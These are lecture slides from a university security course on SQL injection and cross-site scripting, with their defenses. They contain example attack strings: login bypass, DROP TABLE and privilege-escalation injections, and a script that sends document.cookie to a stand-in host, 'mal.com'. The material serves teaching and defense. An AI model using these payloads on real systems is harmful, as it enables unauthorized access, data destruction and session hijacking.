SQL Injection

CS 166: Introduction to Computer Systems Security
Database Driven Websites

- Client-supplied data stored into database
- Access to database mediated by server
Standard Query Language (SQL)

- Relational database
  - Data organized into tables
  - Rows represent records and columns are associated with attributes

- SQL describes operations (queries) on a relational database
SELECT Query

- Find records in table (FROM) that satisfy a certain condition (WHERE clause)
- Result returned as table (attributes given by SELECT)
- Example

SELECT name FROM students
WHERE grade = 'A'; -- list A students
Data Flow

• Typical data flow in web applications
  – User input sent as a variable (GET or POST)
  – Variable used to form an SQL query
  – Data flows from the user to the database

• Example:
  ```sql
  SELECT user FROM table
  WHERE name = '$username';
  ```
Login Authentication Query

• Standard query to authenticate users
  
  ```sql
  SELECT * FROM users
  WHERE user = '$username' AND pwh = hash('sha256', '$passwd')
  ```
  
  Access granted if query returns nonempty table

• User input
  
  – Server side code sets variables $username and $passwd from user input into login form
  
  – Table users includes attributes user (user name) and pwh (password hash)
SQL Injection

- Attacker bypasses protections on database
  - Causes execution of unauthorized queries by injecting unauthorized SQL code
SQL Injection to Bypass Authentication

• Standard query to authenticate users
  SELECT * FROM users
  WHERE user = '$username' AND pwh = hash('sha256', '$passwd');

• Attacker enters
  User name: A' OR 1 = 1; --
  Password: B

• Resulting query execution
  SELECT * FROM users WHERE user = 'A' OR 1 = 1; --' AND pwh = ... 
  i.e.,
  SELECT * FROM users WHERE user = 'A' OR 1 = 1; --' AND pwh = ...
SQL Injection for Privilege Escalation

• Standard query to update username
  UPDATE users SET user = '$newusername'
  WHERE user = $current

• Suppose table users has 0/1 attribute admin to denote user has administrator privileges

• Attacker is a regular user who wants to become administrator
  Username: evil', admin = '1

• Resulting query execution
  UPDATE users SET user = 'evil', admin = '1' WHERE user = $current
SQL Injection for Data Corruption

• Standard query to authenticate users:
  
  SELECT * from users
  WHERE user = '$username' AND pwh = hash('sha256', '$passwd');

• Attacker enters
  
  User name: A'; DROP TABLE users; --
  Password: B

• Resulting query execution
  
  SELECT * from users WHERE user = 'A'; DROP TABLE users; --' AND pwd = ...
  
i.e.,
  
  SELECT * from users WHERE user = 'A'; DROP TABLE users; -- ' AND pwd = ...

3/4/16 SQL Injection
Source: http://xkcd.com/327/
Input Sanitization

• Escape potentially malicious characters
• Result of escaping quotes in input `M' ; drop table user; --`

```
SELECT * FROM users WHERE user = 'M\' drop table user; --"'
```

• More generally, characters to escape include

```
' " \ <newline> <return> <null>
```

• Sanitizing input is tricky
  – Alternate character encodings may bypass default escape functions
  – PHP legacy escape function `mysql_escape_string` ignored encoding
  – PHP later developed `mysql_real_escape_string`
Second-Order SQL Injection

• Sanitized input may be reused in other queries
• Regular user selects username $admin'--$
• Application
  – Escapes quote to prevent possible injection attack
  – Stores value $admin'--$ into user attribute of database
• Later, application retrieves username with clause
  \[ \text{WHERE username} = 'admin'--' \]
• Could be used to change administrator password to one chosen by attacker
Prepared Statements

• Two-phase SQL command
  – Write SQL statement with ? placeholders
  – Subsequently provide values that replace placeholders

• Best practice for
  – writing new applications
  – modifying existing ones

• May be unsuitable for legacy code

• Generally safe from SQL injection
  – Separation of code and data
  – Values replacing placeholders always treated as data

• Potential vulnerability when
  – Prepared statement is itself built from user input
  – Prepared statement calls queries from library
Structural Anomaly Detection

• Observe queries on legitimate inputs
• Determine properties of typical queries
  • Result size (e.g., list of values or probability distribution)
  • Structure (e.g., WHERE expression template)
• Reject inputs that yield atypical queries

• SELECT user, pwd FROM users WHERE user = '$username';
• Typical queries
  • Result size: 0 or 1
  • Structure: variable = string
• On malicious input A' OR '1 = 1
  • Result size: table size
  • Structure: variable = string OR value = value

3/4/16 SQL Injection
Cross-Site Scripting
Cross-Site Scripting (XSS)

- Problem: users can submit text that will be displayed on web pages
  - Facebook posts
  - Blog comments
  - Webmail
- Browsers interpret everything in HTML pages as HTML
- What could go wrong?
Cross-Site Scripting (XSS)

- Idea: Get other users’ browsers to execute your code
- Check out the self-retweeting tweet
XSS: Exploits

```html
<script>
img = new Image();
img.src = "http://mal.com/?cookie=" + document.cookie;
</script>
```
Varieties

- Stored XSS
- Reflected XSS
- DOM-Based XSS
Varieties: Stored XSS

- User input is stored by a web site
- Later used to render a page
- Example:

```html
<div class="comment">
<h3><?php echo $comment->user; ?></h3>
<p><?php echo $comment->text; ?></p>
</div>
```
Varieties: Stored XSS

Mallory submits:

```html
<script>alert("Muahahahah!");</script>
```
Varieties: Stored XSS

1. Attacker submits question containing malicious JavaScript
2. User logs in
3. User views attacker’s question
4. Server responds with attacker’s JavaScript
5. Attacker’s JavaScript executes in user’s browser
6. User’s browser sends session token to attacker
7. Attacker hijacks user’s session
Varieties: Reflected XSS

- Page includes dynamic content
- Content generated based on request
  - Query parameters
  - 404 page
  - etc
- Accounts for ~75% of XSS vulnerabilities in real-world applications (WAHH)
Varieties: Reflected XSS

- Example (404 page):
  
  ```php
echo "Page not found: " . 
$_SERVER[ 'REQUEST_URI' ]; ?>
```

- Mallory sends you a link:
  
  `foo.com/<script>evilFunc();</script>`
Varieties: Reflected XSS

1. User logs in
2. Attacker feeds crafted URL to user
3. User requests attacker's URL
4. Server responds with attacker's JavaScript
5. Attacker's JavaScript executes in user's browser
6. User's browser sends session token to attacker
7. Attacker hijacks user's session
Varieties: DOM-Based XSS

- Page itself doesn’t include malicious code
- JS on page modifies page structure
  - DOM - Document Object Model
- Newly-modified page executes malicious code
Varieties: DOM-Based XSS

● Example:

```html
<title>My Page’s URL: </title>
document.getElementsByTagName("title")[0].innerHTML += document.URL;
```

● Mallory sends you a link:

```html
foo.com/<script>evilFunc();</script>
```
Varieties: DOM-Based XSS

1. User logs in
2. Attacker feeds crafted URL to user
3. User requests attacker's URL
4. Server responds with page containing hard-coded JavaScript
5. Attacker's URL is processed by JavaScript, triggering his attack payload
6. User's browser sends session token to attacker
7. Attacker hijacks user's session
XSS Defenses

- Defense is *really hard*
- Attempt #1: Remove `<script>` tags
XSS Defenses

- Defense is *really hard*
- Attempt #1: Remove `<script>` tags

```html
<script>
</script>
```
XSS Defenses

- Defense is *really hard*
- **Attempt #1:** Remove `<script>` tags
  ```html
  <script>
  ```
- **Attempt #2:** HTML-encode special characters
  - `<` becomes `&lt;`
  - `>` becomes `&gt;`
  - `etc`
XSS Defenses

- Defense is *really hard*
- Attempt #2: HTML-encode special characters
  - `<` becomes `&lt;`
  - `>` becomes `&gt;`
  - etc
- In attributes, browsers first HTML-decode
  - User submits link: `javascript:evilFunc()`
  - `<a href="javascript:\#58;evilFunc()">`
XSS Defenses

● Defense is *really hard*
● Inspiration from SQL prepared statements?
● Do something fundamentally different?
● Separate data and code?
XSS Defenses

- Defense is *really hard*
- Inspiration from SQL prepared statements?
- Do something fundamentally different?
- Separate data and code?

- ...nope. You’d have to change browsers.
- We’re stuck with XSS being *really hard*
XSS Defenses

- Defense is *really hard*
- ...but we already knew that - security is never perfect
- Let’s do the best we can
XSS Defenses

● General advice from WAHH
  ○ Validate input as strictly as possible
    ■ Make sure data isn’t too long
    ■ Make sure data contains only allowed characters
    ■ Make sure data is properly formatted
      ● e.g., email addresses, URLs, etc
    ■ Guilty until proven innocent - reject unless it passes all of these tests
XSS Defenses

● General advice from WAHH
  ○ Validate/sanitize output
    ■ HTML encode any dangerous characters
    ■ Be liberal in HTML encoding - never know what could be used for an attack
    ■ Careful about edge cases!
      ● Tag attributes are HTML decoded before processing
XSS Defenses

• General advice from WAHH
  ○ Eliminate dangerous insertion points

“There are some locations within the application page where it is just too inherently dangerous to insert user-supplied input, and developers should look for an alternative means of implementing the desired functionality.”

(emphasis added)
### XSS Defenses

- **General advice from WAHH**
  - Eliminate dangerous insertion points
    - In the text of scripts
    - Where a tag attribute’s value can be a URL
      - Too easy for attackers to execute arbitrary code, e.g.:
        ```html
        <a href="javascript:...">Click Here</a>
        ```
  - Where a character encoding is specified
    - Attacker could trick some component into using a different character encoding
    - Open the door for encoding-based attacks
Moral of the story:
- Complexity makes reasoning about security very hard
- The web is here to stay; we’re stuck with its design choices
- Design future systems for simplicity